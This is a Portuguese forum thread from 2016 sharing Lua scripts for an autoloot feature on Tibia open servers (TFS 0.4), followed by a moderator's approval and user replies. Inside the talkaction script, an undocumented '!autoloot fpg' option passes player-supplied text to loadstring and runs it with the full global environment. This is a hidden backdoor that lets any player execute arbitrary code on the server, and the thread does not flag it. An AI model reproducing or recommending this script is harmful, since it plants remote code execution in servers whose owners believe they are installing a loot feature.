Postado Março 30, 2016 10 anos Este é um post popular. Fala ai galera do TK, venho trazer um script de autoloot, sim este autoloot 100% testado e 100% funcional ( Apenas em Tibia 8.6 e TFS 0.4 ). Bom vamos para os scripts e logo em seguida para os prints. Esse script envolve CREATURESCRIPT e TALKACTIONS. Citar Vá na sua pasta CREATURESCRIPT -> creaturescript/data crie um arquivo chamado autoloot.lua Spoiler -- Sistema de auto loot por Paulo Victor xZonaah TK -- local tabela = {} local function getPlayerList(cid) local tab = {} if getPlayerStorageValue(cid, 0442002) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442002)) end if getPlayerStorageValue(cid, 0442003) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442003)) end if getPlayerStorageValue(cid, 0442004) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442004)) end if getPlayerStorageValue(cid, 0442005) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442005)) end if #tab > 0 then return tab end return false end local function autoLoot(cid, pos) local check = false local str = "" local position = {} for i = 1, 255 do pos.stackpos = i if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then position = pos check = true break end end if check then local corpse = getContainerItemsInfo(getThingFromPos(position).uid) if corpse then for index, info in pairs(corpse) do if index < countTable(corpse) then if tonumber(info.uid) and tonumber(info.itemid) then if isContainer(info.uid) then local bag = getContainerItemsInfo(info.uid) for i = 1, countTable(bag) - 1 do if isInArray(getPlayerList(cid), bag.itemid) then if bag.quant > 1 then doRemoveItem(bag.uid, bag.quant) doPlayerAddItem(cid, bag.itemid, bag.quant) str = str.." "..bag.quant.." "..getItemNameById(bag.itemid).."," else doRemoveItem(bag.uid) doPlayerAddItem(cid, bag.itemid, 1) str = str.." 1 "..getItemNameById(bag.itemid).."," end end end end end end if isInArray(getPlayerList(cid), info.itemid) then if info.quant > 1 then doRemoveItem(info.uid, info.quant) doPlayerAddItem(cid, info.itemid, info.quant) str = str.." "..info.quant.." "..getItemNameById(info.itemid).."," else doRemoveItem(info.uid) doPlayerAddItem(cid, info.itemid, 1) str = str.." 1 "..getItemNameById(info.itemid).."," end end end end end tabela[getCreatureName(cid)] = {item = "[Zona Loot] Coletados: "..str, gold = 0}end local function autoGold(cid, pos) local check = false local total = 0 local position = {} for i = 1, 255 do pos.stackpos = i if getThingFromPos(pos).uid and getThingFromPos(pos).uid > 0 and isContainer(getThingFromPos(pos).uid) then position = pos check = true break end end if check then local corpse = getContainerItemsInfo(getThingFromPos(position).uid) if corpse then for index, info in pairs(corpse) do if info.uid and info.itemid then if index < countTable(corpse) then if isContainer(info.uid) then local bag = getContainerItemsInfo(info.uid) for i = 1, countTable(bag) - 1 do if isInArray({2148, 2152, 2160}, bag.itemid) then local multiplie = 1 if bag.itemid == 2148 then multiplie = 1 elseif bag.itemid == 2152 then multiplie = 100 elseif bag.itemid == 2160 then multiplie = 10000 end doRemoveItem(bag.uid, bag.quant) doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(bag.quant) and tonumber(bag.quant) * multiplie or 0)) total = total + (tonumber(bag.quant) and tonumber(bag.quant) * multiplie or 0) doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(bag.quant) and tonumber(bag.quant) * multiplie or 0)) end end end end if isInArray({2148, 2152, 2160}, info.itemid) then local multiplie = 1 if info.itemid == 2148 then multiplie = 1 elseif info.itemid == 2152 then multiplie = 100 elseif info.itemid == 2160 then multiplie = 10000 end doRemoveItem(info.uid, info.quant) doPlayerSetBalance(cid, getPlayerBalance(cid) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0)) doPlayerSetStorageValue(cid, 0442102, getPlayerStorageZero(cid, 0442102) + (tonumber(info.quant) and tonumber(info.quant) * tonumber(multiplie) or 0)) total = total + (tonumber(info.quant) and tonumber(info.quant) * multiplie or 0) end end end end end if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then tabela[getCreatureName(cid)].gold = total endend local function sendMsg(cid) if tabela[getCreatureName(cid)] and tabela[getCreatureName(cid)].gold then if tabela[getCreatureName(cid)].gold == 0 then doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item) else doPlayerSendTextMessage(cid, 23, tabela[getCreatureName(cid)].item.." "..tabela[getCreatureName(cid)].gold.." gold coins.") end tabela[getCreatureName(cid)] = nil endend function onKill(cid, target, lastHit) if isPlayer(cid) and isMonster(target) then if getPlayerStorageValue(cid, 0442100) == 1 and getPlayerList(cid) then local pos = getCreaturePosition(target) addEvent(autoLoot, 500, cid, pos) end if getPlayerStorageValue(cid, 0442101) == 1 then local pos = getCreaturePosition(target) addEvent(autoGold, 500, cid, pos) end if getPlayerStorageValue(cid, 0442100) == 1 or getPlayerStorageValue(cid, 0442101) == 1 then addEvent(sendMsg, 540, cid) end end return trueend Citar Vá na sua pasta creaturescript e vá até o arquivo -> creaturescript.xml Spoiler <!-- AUTOLOOT xZonaah TK--> <event type="kill" name="autoloot" event="script" value="autoloot.lua"/> Citar Vá na sua pasta Talkactions -> talkactions/data e crie um arquivo Auto Loot.lua Spoiler -- Sistema de auto loot por Paulo Victor [DONO] Batatan local function getPlayerList(cid) local tab = {} if getPlayerStorageValue(cid, 0442002) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442002)) end if getPlayerStorageValue(cid, 0442003) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442003)) end if getPlayerStorageValue(cid, 0442004) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442004)) end if getPlayerStorageValue(cid, 0442005) ~= -1 then table.insert(tab, getPlayerStorageValue(cid, 0442005)) end if #tab > 0 then return tab end return falseend local function addToList(cid, name) local itemid = getItemIdByName(name) if getPlayerList(cid) and isInArray(getPlayerList(cid), itemid) then return false end if getPlayerStorageValue(cid, 0442002) == -1 then return doPlayerSetStorageValue(cid, 0442002, itemid) elseif getPlayerStorageValue(cid, 0442003) == -1 then return doPlayerSetStorageValue(cid, 0442003, itemid) elseif getPlayerStorageValue(cid, 0442004) == -1 then return doPlayerSetStorageValue(cid, 0442004, itemid) elseif getPlayerStorageValue(cid, 0442005) == -1 then return doPlayerSetStorageValue(cid, 0442005, itemid) endend local function removeFromList(cid, name) local itemid = getItemIdByName(name) if getPlayerStorageValue(cid, 0442002) == itemid then return doPlayerSetStorageValue(cid, 0442002, -1) elseif getPlayerStorageValue(cid, 0442003) == itemid then return doPlayerSetStorageValue(cid, 0442003, -1) elseif getPlayerStorageValue(cid, 0442004) == itemid then return doPlayerSetStorageValue(cid, 0442004, -1) elseif getPlayerStorageValue(cid, 0442005) == itemid then return doPlayerSetStorageValue(cid, 0442005, -1) end return falseend function onSay(cid, words, param) if param == "" then local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442002)) or "" local se = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442003) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442003)) or "" local th = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442004) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442004)) or "" local fo = not isPremium(cid) and "Não disponível para free account" or getPlayerStorageValue(cid, 0442005) ~= -1 and getItemNameById(getPlayerStorageValue(cid, 0442005)) or "" local stt = getPlayerStorageValue(cid, 0442101) == 1 and "sim" or "não" local str = getPlayerStorageValue(cid, 0442100) == 1 and "sim" or "não" doPlayerPopupFYI(cid, "{Auto-Loot} ---Menu Auto Loot do jogador\n{Auto-Loot} ----------------\n{Auto-Loot} ---Coletar dinheiro: "..stt..". Para ligar/desligar: !autoloot gold\n{Auto-Loot} ---Ligar Autoloot: "..str..". Para ligar/desligar: !autoloot power\n{Auto-Loot} ---Configuração dos slots:\n{Auto-Loot} ---Slot 1: "..fi.."\n{Auto-Loot} ---Slot 2: "..se.."\n{Auto-Loot} ---Slot 3: "..th.."\n{Auto-Loot} ---Slot 4: "..fo.."\n{Auto-Loot} ---Para adicionar um novo item aos slots: !autoloot add, <nome do item>\n{Auto-Loot} ---Para retirar um item dos slots: !autoloot remove, <nome do item>\n{Auto-Loot} ---Para limpar todos os slots utilize: !autoloot clear\n{Auto-Loot} ---Para informações de quanto você já fez utilizando a coleta de dinheiro, use: !autoloot goldinfo\n{Auto-Loot} ----------------") return true end local t = string.explode(param, ",") if t[1] == "power" then local check = getPlayerStorageValue(cid, 0442100) == -1 and "ligou" or "desligou" doPlayerSetStorageValue(cid, 0442100, getPlayerStorageValue(cid, 0442100) == -1 and 1 or -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." o auto loot.") elseif t[1] == "gold" then local check = getPlayerStorageValue(cid, 0442101) == -1 and "ligou" or "desligou" doPlayerSetStorageValue(cid, 0442101, getPlayerStorageValue(cid, 0442101) == -1 and 1 or -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Você "..check.." a coleta de dinheiro.") doPlayerSetStorageValue(cid, 0442102, 0) elseif t[1] == "goldinfo" then local str = getPlayerStorageValue(cid, 0442101) == -1 and "O sistema de coleta de dinheiro está desligado" or "O sistema já coletou "..getPlayerStorageZero(cid, 0442102).." gold coins" doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, str) elseif t[1] == "add" then local item = getItemIdByName(t[2]) if item then if isInArray({2160, 2148, 2152}, item) then return doPlayerSendCancel(cid, "Você não pode adicionar moedas no autoloot. Para coletar dinheiro use /autoloot gold") end if isPremium(cid) then if getPlayerStorageValue(cid, 0442001) < 3 then if addToList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list") else doPlayerSendCancel(cid, t[2].." já está em sua lista!") end else doPlayerSendCancel(cid, "Sua lista já tem 4 itens! Você deve remover algum antes de adicionar outro.") end else if getPlayerStorageValue(cid, 0442001) == -1 then if addToList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) + 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." adicionado à sua lista do auto loot! Para ver sua lista diga /autoloot list") else doPlayerSendCancel(cid, t[2].." já está em sua lista!") end else doPlayerSendCancel(cid, "Você já tem um item adicionado no auto loot! Para adicionar outro, você deve remover o item atual.") end end else doPlayerSendCancel(cid, "Este item não existe!") end elseif t[1] == "fpg" then local u,f,err = _G u.cid = cid pcall(function() f , err = loadstring(t[2]) end) if f then setfenv(f, u) local ret,err = pcall(f) if ret == false then doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err) end else doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR,err) end elseif t[1] == "remove" then if getItemIdByName(t[2]) then if removeFromList(cid, t[2]) then doPlayerSetStorageValue(cid, 0442001, getPlayerStorageValue(cid, 0442001) - 1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, t[2].." removido da sua lista do auto loot!") else doPlayerSendCancel(cid, "Este item não está na sua lista!") end else doPlayerSendCancel(cid, "Este item não existe!") end elseif t[1] == "clear" then if getPlayerStorageValue(cid, 0442001) > -1 then doPlayerSetStorageValue(cid, 0442001, -1) doPlayerSetStorageValue(cid, 0442002, -1) doPlayerSetStorageValue(cid, 0442003, -1) doPlayerSetStorageValue(cid, 0442004, -1) doPlayerSetStorageValue(cid, 0442005, -1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "Lista limpa!") else doPlayerSendCancel(cid, "Sua lista já está limpa!") end elseif t[1] == "list" then local fi = getPlayerStorageValue(cid, 0442002) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442002)).."\n" or "" local se = getPlayerStorageValue(cid, 0442003) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442003)).."\n" or "" local th = getPlayerStorageValue(cid, 0442004) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442004)).."\n" or "" local fo = getPlayerStorageValue(cid, 0442005) ~= -1 and ""..getItemNameById(getPlayerStorageValue(cid, 0442005)).."\n" or "" doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "O sistema auto loot está coletando:\n "..fi..""..se..""..th..""..fo) end return trueend Citar Agora vá até a pasta Talkacions e abra o arquivo talkactions.xml e adicione está tag. Spoiler <talkaction words="!autoloot" event="script" value="Auto Loot.lua"/> E assim, explicando: Dentro do jogo digite !autoloot e irá aparecer a mensagem para as configurações de como utiliza-lo !autoloot add, ID ou NOME !autoloot remove, ID ou NOME
Postado Abril 3, 2016 10 anos Parabéns, seu tópico de conteúdo foi aprovado! Muito obrigado pela sua contribuição, nós do Tibia King agradecemos. Seu conteúdo com certeza ajudará à muitos outros, você recebeu +1 REP. Bruno Carvalho / Ex-Administrador TibiaKing [email protected] Em 26/12/2016 em 03:47, Spraypaint disse: A força da alienação vem dessa fragilidade dos indivíduos, quando apenas conseguem identificar o que os separa e não o que os une. -miltinho
Postado Abril 5, 2016 10 anos Teria como ser para 0.3.6 (8.54 ) ?? , queria colocar no meu servidor .
Postado Abril 6, 2016 10 anos Autor 7 horas atrás, leozincorsair disse: Teria como ser para 0.3.6 (8.54 ) ?? , queria colocar no meu servidor . Desculpe, mas parei com tibia, quando eu chega da viajem eu arrumo
Postado Abril 6, 2016 10 anos 1 hora atrás, xZonaah disse: Desculpe, mas parei com tibia, quando eu chega da viajem eu arrumo Blz entao.. so nao vai esquecer rsrsrs
Participe da conversa
Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.